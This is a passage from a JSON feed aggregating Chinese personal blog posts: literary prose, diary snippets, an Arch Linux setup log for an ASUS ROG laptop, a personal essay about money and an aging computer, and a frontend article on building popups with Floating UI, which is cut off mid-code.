,与过去的自己形成对照,又无比相似。或许,寻回初心并不意味着结束;或许,成为英雄并非意味着终点;或许,另一层面上的毕业旅行才将要启程。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2023/03/31/%E6%AF%95%E4%B8%9A%E6%97%85%E8%A1%8C%E9%95%9C%E5%A4%B4%E8%AF%AD%E8%A8%80%E6%B5%85%E6%9E%90/"},{"title":"幻想家与夏","time":"2022-01-12T09:03:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e“接下来要讲述的,是幻想家的故事” \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e幻想家在桌前,望着这句老套的开场白出神。 \u003c/p\u003e\u003cp\u003e已经许久未曾运笔,至于原因,幻想家心中有一个模糊的答案。但他却不愿承认——被生活的烦忙与琐碎打倒,撕扯,扔进漩涡中心,行动交由早已既定、当下先行的最高指令,意识则一点点被消磨殆尽——这是他矢口否认的,不愿看到的,却又被迫选择的,将一切激情与宝贵岁月心甘情愿交付的,孕育着他的宝石般的未来的——他甚至认为自己理当是个好蚌,可被撬开后,那颗珠的尺寸与光泽却又令他大失所望,夏的火种也随之熄灭了,他空空举着未燃的火把,带不给他一点光与热,呆伫于路上,任由他人的火光将内心刺痛——他的夏,似已结束。 \u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e“我的夏,竟已结束了……” \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e幻想家喃喃道,那种熟悉的空无感又趁虚而入,将他的内心一点点蚕食,曾经高举过头顶的双臂已垂弱无力,对生命与生活的热情正在被从他身体抽离。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2022/01/12/%E5%B9%BB%E6%83%B3%E5%AE%B6%E4%B8%8E%E5%A4%8F/"}]},{"name":"Ri的手账本","email":"","uri":"https://ray.al","description":"","article":[{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e仰头望天,这又是何等的痛苦\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e连遗忘本身都忘记,那才是真正的束手无策。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e然而Kalman滤波器不是滤波器(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e算是自己做的一些微小的工作\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/99"},{"title":"再次相遇","time":"2021-12-02T18:31:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e吉田感受到了一种力场,就好像是一根细线,把他和少女的命运系在一起。有只有今天才能遇见的人,也只有今天才能遇见的事。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/122"},{"title":"Buffalo Nas的简单评测","time":"2021-11-02T12:15:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在上课,所以先不放图 这次评测的主人公是Buffalo ls-wxl (LinkStation) 闲鱼上某个老 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/85"},{"title":"由求完数的经典OJ题引发的思考","time":"2021-10-26T10:26:13Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eXD-OJ T30 标题: 完数 类别: 时间限制: 2 S 内存限制: 10000 Kb 问题描述: 请写一 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/56"},{"title":"书摘其一","time":"2021-10-24T03:11:22Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我哭着喊冷,喊饿,爷爷默默地看着我,终于下了决心,拿出了他珍藏的勋章,带着我走了出去,来到这里。那时这儿是自由 […]\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/40"}]},{"name":"Reverier's Blog","email":"","uri":"https://blog.woooo.tech/","description":"Creating reality with idealism.","article":[{"title":"GU604VI折腾日记","time":"2023-06-22T18:40:19+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前情提要\"\u003e前情提要\u003c/h2\u003e\n\u003cp\u003e接\u003ca href=\"https://blog.woooo.tech/posts/asus_linux_1/20230514.md\" rel=\"\"\u003e上文\u003c/a\u003e,新电脑有了,攒了一整年用来毕业旅行的钱换的。\u003c/p\u003e\n\u003ch2 id=\"电脑配置\"\u003e电脑配置\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMODEL: ROG Zephyrus M16 GU604VI_GU604VI 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCPU: 13th Gen Intel i9-13900H (20) @ 5.200GHz\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eGPU: NVIDIA GeForce RTX 4070 Max-Q / Mobile\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eMEM: 32GB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 1: HFS001TEJ9X101N 1TB\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDISK 2: ZHITAI Ti7100 2TB\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e挺不错的,打算当主力机用个四五年,本文主要记录一下在这个本上装 Arch Linux 所做出的一些努力。\u003c/p\u003e\n\u003ch2 id=\"安装过程\"\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e总体来说没出什么幺蛾子,照着 \u003ca href=\"https://wiki.archlinux.org/title/Installation_guide\" target=\"_blank\" rel=\"noopener noreffer \"\u003eWiki\u003c/a\u003e 配就可以了。如果在 archiso 那里就卡显卡了,需要在内核参数里加上 \u003ccode\u003enouveau.modeset=0\u003c/code\u003e,然后重新启动。\u003c/p\u003e\n\u003cp\u003e桌面环境这里我继续选用了 KDE Plasma on Wayland,但是安装完成之后怎么都没法启动,一直以为是显卡问题…… 排查到最后发现是因为没装 \u003ccode\u003eXWayland\u003c/code\u003e,装上之后就好了,检查 \u003ccode\u003ejournalctl -b -1\u003c/code\u003e 查看上次开关机 log,相关日志如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[825]: [session uid=1000 pid=825] Activating via systemd: service name=\u0026#39;org.freedesktop.impl.portal.desktop.kde\u0026#39; unit=\u0026#39;plasma-xdg-desktop-portal-kde.service\u0026#39; requested by \u0026#39;:1.6\u0026#39; (uid=1000 pid=849 comm=\u0026#34;/usr/lib/xdg-desktop-portal\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: No backend specified, automatically choosing drm\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch dbus-daemon[572]: [system] Successfully activated service \u0026#39;org.freedesktop.UPower\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch systemd[1]: Started Daemon for power management.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UDisks2\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.31\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch baloo_file[835]: QDBusConnection: name \u0026#39;org.freedesktop.UPower\u0026#39; had owner \u0026#39;\u0026#39; but we thought it was \u0026#39;:1.34\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL vendor string: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL renderer string: Mesa Intel(R) Graphics (RPL-P)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version string: 4.6 (Core Profile) Mesa 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL shading language version string: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Driver: Intel\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GPU class: Unknown\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: OpenGL version: 4.6\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL version: 4.60\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Mesa version: 23.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Linux kernel version: 6.3.8\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Requires strict binding: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: GLSL shaders: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Texture NPOT support: yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: Virtual Machine: no\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_core: Parse error in tiles configuration for monitor \u0026#34;32593100-170c-5758-be7c-15262ca65916\u0026#34; : \u0026#34;illegal value\u0026#34; Creating default setup\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:323:58: unrecognized keysym \u0026#34;XF86EmojiPicker\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xkbcommon: XKB: inet:324:58: unrecognized keysym \u0026#34;XF86Dictate\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:13 Reverier-Arch kwin_wayland[836]: kwin_xwl: Xwayland process failed to start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:22 Reverier-Arch systemd[1]: Stopping User Manager for UID 973...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eJun 21 13:39:23 Reverier-Arch systemd[641]: Activating special unit Exit the Session...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"内核和显卡驱动\"\u003e内核和显卡驱动\u003c/h2\u003e\n\u003cp\u003e最开始我直接使用的官方 Linux 内核,log 里小问题,不断,于是按照 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 这里的提供的内核安装了 \u003ccode\u003elinux-g14\u003c/code\u003e,以及一系列配套工具 \u003ccode\u003easusctl\u003c/code\u003e 等等,并开启了相关服务。显卡驱动使用 \u003ccode\u003envidia-dkms\u003c/code\u003e,显卡调度等功能使用了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 提供的 \u003ccode\u003esupergfxctl\u003c/code\u003e,这是我目前见到过的最完美的显卡方案,你不用显卡他真的就不转。\u003c/p\u003e\n\u003ch2 id=\"电源管理\"\u003e电源管理\u003c/h2\u003e\n\u003cp\u003e电源管理依旧使用ASUS Linux解决方案,不过这个工具会默认给电池最大充电量限制到80%,这样可以延长电池寿命。于是我没怎么动,在实际使用体验中,80%电量大概可以用4个小时,也算舒心。\u003c/p\u003e\n\u003ch2 id=\"声音\"\u003e声音\u003c/h2\u003e\n\u003cp\u003e这台电脑有四个扬声器,两个是低音扬声器两个高音扬声器,其中两个低音扬声器需要额外靠电池供电,高音扬声器直接靠声卡供电,这就导致了在 Linux 默认声卡之下,只有两个高音扬声器能用,而且声音很小,低音扬声器完全没声音。我在网上搜了搜,似乎大伙在装了 \u003ca href=\"https://asus-linux.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003eASUS Linux\u003c/a\u003e 的内核之后,声音就能用了,但是我这里并没有,找来找去找到一个\u003ca href=\"https://forums.linuxmint.com/viewtopic.php?t=394616\" target=\"_blank\" rel=\"noopener noreffer \"\u003e帖子\u003c/a\u003e,原因可能单纯是这设备太新了,所以暂时没有适配方案。楼主最终自己patch了BIOS和内核,我差点以为我也要这么干,但最终在ASUS Linux的Discord群里问了几句,发现\u003ccode\u003elinux-g14\u003c/code\u003e其实已经带有这个patch了,我只需要修改一下ACPI tables即可。\u003c/p\u003e\n\u003cp\u003e根据 \u003ca href=\"https://gist.github.com/lamperez/d5b385bc0c0c04928211e297a69f32d7\" target=\"_blank\" rel=\"noopener noreffer \"\u003eLoad custom ACPI tables\u003c/a\u003e 这里的过程,我最终构建出了一个 \u003ccode\u003epatched_acpi_tables.cpio\u003c/code\u003e,并将其加到grub引导参数中,这样就能让内核加载这个补丁了。\u003c/p\u003e\n\u003cp\u003e可能是由于型号不太匹配的原因,这么做之后音响能听了,但是音质很奇怪,听起来就好像大过年去姥姥家吃年夜饭,隔壁有个上世纪的收音机在放春晚一样。不过我大部分时间都戴着耳机,音响能响就行。我看linux主线也在推进 ALC 285 芯片相关驱动,没准等一段时间上游就给修好了。\u003c/p\u003e\n\u003ch2 id=\"掉盘风波\"\u003e“掉盘”风波\u003c/h2\u003e\n\u003cp\u003e新电脑自带了一块1T的海力士,如果双系统的话不太够用。正好赶上长江消防队给固态价格完全干下来了,于是打算支持一下国货,入了ZHITAI TiPlus 7000 2TB版本。这块固态没有缓存,在网上查了查风评甚好,就入了。\u003c/p\u003e\n\u003cp\u003e结果三天掉了两次盘,具体表现是用着用着系统突然死了,无法新建任何进程,机器上的硬盘灯直接灭了。journal log由于需要持久化存储到硬盘上,因此log也没看见。我以为我是那个掉盘倒霉蛋,但其实并不是,我只要长按电源键重启电脑,硬盘是可以直接识别的。这跟掉盘的表现不太一样,掉盘的话再次开机应该会直接不识盘,等待主控自行修复完成之后才能正常挂载开机。但是我这里只要强制重启了就一定能跑,这就很奇怪了。最后找到了\u003ca href=\"https://lore.kernel.org/all/82fa489d-a14b-58d9-7bd9-67418a02a0d3@nvidia.com/t/\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e和\u003ca href=\"https://www.spinics.net/lists/stable/msg645104.html\" target=\"_blank\" rel=\"noopener noreffer \"\u003e这个\u003c/a\u003e,确认了是硬盘深度休眠结果直接睡死了。\u003c/p\u003e\n\u003cp\u003e遂禁用掉最深的休眠状态,问题就消失了。\u003c/p\u003e\n\u003ch2 id=\"容器\"\u003e容器\u003c/h2\u003e\n\u003cp\u003e本来是想继续用Docker的,后来看了看podman,无守护进程的设计感觉还不错,于是就搞了podman,甚至还装了一个k3s(但是一次也没用到)。\u003c/p\u003e\n\u003cp\u003e目前用起来唯一的问题是podman没有守护进程,因此每次开机之后无法恢复之前的容器运行状态,得手动启动一下。对于一些必要服务,倒也有解决方案:用systemd来启动。例如:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epodman generate systemd --new --name 服务名 -f\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e可以生成一个systemd服务文件,复制到systemd文件夹下然后作为用户自启任务即可。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/asus_linux_1/"},{"title":"驴和他的烂磨盘","time":"2023-05-14T22:58:00+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e心情又很不好了,写点乱七八糟语无伦次的东西。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e写这篇博客的时候,我电脑上正开着一个CLion,一个浏览器和一个neovim,老伙计那喷气式直升机一样的声音和一晃三卡的鼠标指针让我有点难绷。再加上半夜调前端又被js的神奇特性摆了一道,越想越难受。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e从去年开始,这台陪了我四年的老伙计有点力不从心了。先是BIOS经常卡着不能开机,本来想着返厂,但是厂商技嘉已经跑路了。有朋友提了一句是不是内存条氧化了?于是给电脑拆开擦了擦,又成了,但那时已经有换电脑的心思了。彼时我手里的几个项目似乎都有赚点钱的希望,于是水群的时候经常跟群友做梦说:“等xxxx的钱下来了我要给装备换个新” 之类的,群友锐评:“你好像那个什么驴,有钱了第一件事是换个好磨”。结果到了年初,项目烂尾了一个,杳无音讯了一个,还剩一个给学校写的CTF平台不知道能拿多少钱,于是时常挂在嘴边的变成了 “等xxx的钱下来了至少把这电脑换了”。后来平台的钱下来了,但没完全下来,按月发三年,每个月倒是够生活费了。彳亍,好磨也换不成了,给桌面环境精简一下,该删的删一删,再凑合几年吧。\u003c/p\u003e\n\u003cp\u003e我的经济情况一直都不怎么样,但是不管怎么说,能过。大概在大二结束的时候,因为在社团干活,学院每个月会给发一点钱,慢慢地攒起来了一些,后来就不找家里要生活费了。因为平时没什么花销,顶多出去吃顿好的多花一点,这点劳务费够用,还能存点。存了一笔钱之后,就咬咬牙给手机换了,然后继续存。去年暑假的时候去华为实习了两个月,那点工资交了房租就不剩什么了。手里常驻两三千块钱,吃饭应急什么的全靠这些。\u003c/p\u003e\n\u003cp\u003e直到前些天,和朋友一起出去吃顿饭,付账的时候看了眼余额,心里算了算如果不出去玩的话,似乎吃到月底就破产了。紧接着隔壁社团活动要整个登记网站,就托管在我这儿,完事之后云服务商账单+500,还没付呢,付了吃不起饭了。然后想想,似乎学校很久没有发劳务费了。(其实我心里是不赞成发劳务费的,社团的带伙本就是靠着兴趣聚在一起搞搞技术,一旦跟钱扯上关系各种味道就变了,但是不发劳务费之后,我好像没有经济来源了。)于是开始想办法整点额外收入,于是开始接一些外包的小项目之类的,一单几百块或者多点的一千块,也算是有生活费了,但是时时刻刻都在计划经济,买瓶椰汁都得想想。\u003c/p\u003e\n\u003cp\u003e为什么会这样呢,好像那个什么骆驼祥子。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e晚上被群友翻到了很久以前写的周报。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好像是成功了。\u003c/p\u003e\n\u003cp\u003e……\u003c/p\u003e\n\u003cp\u003e我这些年真的写了好多东西啊。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e有个别大点的项目,不过大部分都是些灵光一闪的小玩具和作业,不复杂,但好使。\u003c/p\u003e\n\u003cp\u003e还有一些为了社团活动写的各种网站,活动结束了也关服删档了,找不着图了。\u003c/p\u003e\n\u003cp\u003e想来我还是有点执行力的,愿意为了一个突然冒出来的点子和杠劲在电脑前面肝上三四个月,学门新技术,然后跟各种奇怪的bug/feature斗争许久,每天深夜和各种库的维护者吵架。三年过去了,issue里吵过架的开发者有的财富自由了,有的受不了维护工作 归档仓库享受生活了,剩个我跟三年前一样,遇到事情只会搜StackOverflow,只会抛issue,长时间没人理就自个瞎jb改半天,提个自以为是的pr等review。\u003c/p\u003e\n\u003cp\u003e每当我想买点什么的时候,我会想一想我配吗,我生产的价值值得我去买这样一个东西吗。这台老伙计,19年的i7+2070,大概算很高配的东西,花了近1w8大洋,曾经期待着能用个六七年,如今四年过去就不太彳亍了。不过综合考量一下我自认为还是能值回这笔钱的,上述图里的某个项目成交价大概能买几十个它,但是我见不着多少钱,甚至不能换个好磨盘。\u003c/p\u003e\n\u003cp\u003e真好笑。就像我办场比赛累死累活,最后颁奖仪式不会有半个字致谢我一样。感觉生活应该是很光明的,前途看起来是很不错的,可是为什么会这样呢,恋爱什么的我都不敢想了,一方面我真的没有精力再操心,另一方面谈上一个星期可能就给我干破产了。偶尔和朋友一起吃个饭,跟课题组一起出去玩一玩,大概就是我这段生命里最美好的时光了。我小时候经常因为遭受到不公平待遇之后被批评不够吃苦不够努力才会这样,现在我很少找人帮忙,大部分时候会一个人肝完所有事情,有人能想起来我是好的,想不起来也无所谓,我离了谁都可以活下去,都可以靠谱的把事情做完,这样总足够了吧。\u003c/p\u003e\n\u003cp\u003e我希望我能做点什么改善现状,而不是只会在群里骂这个骂那个,动不动抽象讽刺,除了传递负面情绪之外屁用没有。我希望能用我自己的努力创造一个更好的环境,我对生活质量的要求很低,我可以过得不好,我可以不过节日,我可以蒙上双眼不去看高档生活是什么样子,但我不想看到我亲手创造的价值去向不明。\u003c/p\u003e\n\u003cp\u003e理想主义者总是负重前行,但我似乎得想想,我背着的究竟是什么东西。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20230514/"},{"title":"如何在前端弹出来一个框","time":"2023-04-10T20:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e目前 Cyber Terminal 前端的基础样式解决方案是\u003ccode\u003etailwindcss\u003c/code\u003e,配合 \u003ccode\u003edaisy UI\u003c/code\u003e 和我自己封装的一套 \u003ccode\u003eRxUI\u003c/code\u003e 勉强凑合着用。\u003ccode\u003edaisy UI\u003c/code\u003e 的设计理念是纯 CSS 实现,不掺杂任何的 JavaScript 代码,我挺喜欢这种实现方式,纯 CSS 实现的用户界面比掺杂了 JS 的界面总是让人更放心一点。但是 CSS 终究是没有 JS 强大的,它只是一套静态布局系统,这就导致了一系列的用户体验问题。\u003c/p\u003e\n\u003cp\u003e比如说一个简单的弹出框。在 \u003ccode\u003edaisy UI\u003c/code\u003e 的解决方案中,他们使用了元素的 \u003ccode\u003efocus\u003c/code\u003e 状态,配合 CSS 选择器来显示弹出元素。这乍一听好像挺符合设计思想的,但是用的时候就出现了一堆问题。为了保证元素正确加载,在未显示的情况下,弹出元素上设置的并不是 \u003ccode\u003edisplay: none\u003c/code\u003e,而是 \u003ccode\u003evisibility: hidden\u003c/code\u003e,这就导致弹出元素即使在未显示的状态下也占据了实际空间的,只是不可见而已,可能会在某些情况下打乱布局。\u003c/p\u003e\n\u003cp\u003e比如,我想要实现一个可滚动的 \u003ccode\u003eTable\u003c/code\u003e 组件,在表格的每一列上我都放置了一系列操作按钮,对于比较危险的操作,例如删除,会有一个弹出框让用户进行二次确认。这个时候问题就来了,由于弹出框在未显示的情况下也是占据空间的,最后一列上的弹出框就会继续向下拓展,就导致了表格滚动到最后一列后还能继续向下滚动一段距离,看起来很奇怪。\u003c/p\u003e\n\u003cp\u003e问题还不止这一点,由于 CSS 没有类似于 \u003ccode\u003efloating\u003c/code\u003e 的功能,元素是无法探查可视边界的。Table 组件默认可滚动,导致内部元素的溢出行为是\u003ccode\u003eclip\u003c/code\u003e,于是把溢出窗口的对话框一起给切了。不只是对话框,还有 \u003ccode\u003etooltip\u003c/code\u003e 之类的东西,会变成这个样子:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e嘛……虽然应该没人拿宽度这么巧的设备打CTF……但是这个行为太蠢了,我写的时候得时时刻刻注意着弹出位置,放左边溢出了,放右边也溢出了,放下边好消息是没溢出,坏消息是给滚动条撑起来了……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e于是我就开始找解决方案,找着找着找到了Microsoft在油管上发的\u003ca href=\"https://www.youtube.com/watch?v=yhzAn4A1gbk\" target=\"_blank\" rel=\"noopener noreffer \"\u003eFluent UI Design相关视频\u003c/a\u003e。他们最终选了 \u003ca href=\"https://popper.js.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003epopper.js\u003c/a\u003e 作为弹出式组件的解决方案。但是……这个组件只有 React 框架的集成方案,Vue 的几个第三方集成方案都不太好使了。\u003c/p\u003e\n\u003cp\u003e还是自己写吧……\u003c/p\u003e\n\u003cp\u003e最终选用了 Floating UI 作为实现方案,按照svelte的生命周期简单包装了一下。相关API参考都在这里了:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"nx\"\u003ecomputePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eautoUpdate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eoffset\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eflip\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;@floating-ui/dom\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/** Placement https://floating-ui.com/docs/computePosition#placement */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan 